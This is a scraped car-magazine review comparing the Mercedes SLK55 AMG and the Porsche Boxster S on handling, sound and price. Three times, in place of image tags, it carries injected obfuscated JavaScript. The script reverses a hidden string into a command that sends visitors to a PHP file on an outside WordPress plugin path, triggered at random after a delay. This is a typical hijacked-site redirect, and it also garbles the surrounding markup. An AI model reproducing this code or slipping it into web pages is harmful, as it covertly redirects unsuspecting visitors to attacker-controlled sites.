Mercedes SLK55 AMG vs. Porsche Boxster S. Tops Off

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-008.jpg” alt=”” width=”728″ height=”485″ />

In terms of agility and outright pace along this narrow route, the SLK can’t hold a candle to the Boxster. It might have considerably more grunt, but it’s much heavier, with a kerb weight of 1610kg, largely thanks to that heavy hard top folding roof. As such it can’t change direction as quickly and feels more laboured under braking. However, once I stop trying to keep pace with James in the Porsche and drive the Merc at its own pace, it does have a certain mini muscle car charm. Trust in the front and get on the gas, and that power will break traction easily. With that industrial soundtrack barking its approval, it isn’t difficult to have tail-shimmying fun in the AMG.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-028.jpg” alt=”” width=”728″ height=”485″ />

Conclusions then. Firstly, these are two very different roadsters. The Porsche is a superb all-rounder, more than capable in all areas and more stylish and desirable than its ancestors. It’s built for handling and although the steering has suffered slightly in the name of the environment, it’s still one of the best driver’s cars available. The Mercedes is too heavy and vague to compete on that level, but look at it as a brutish play thing and it has plenty of appeal. Despite it’s slight profile the new looks make it a more masculine machine, and there’s nothing feminine about that monstrous power plant and it’s fantastic fanfare. Get used to the handling quirks and you’ll be getting lairy with the back end on a regular basis.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/Mercedes-SLK55-Porsche-Boxster-Dubai-032.jpg” alt=”” width=”728″ height=”485″ />

However, if you’re in the market for one of these cars, make sure you look at the price. The AMG, with its power, look-at-me visuals and soundtrack, with all the toys featured in our test car, costs $91,665. The Boxster, with similar levels of specification, costs $77,929. If you want basic versions of each, change those figures to $79,600 and $59,105. The Porsche is considerably cheaper, feels of a far better quality inside and is unquestionably the better sports car overall. The Mercedes-Benz is an entertaining little machine about which there is plenty to recommend, especially in a straight line, but the Boxster really is a legend in the making.

–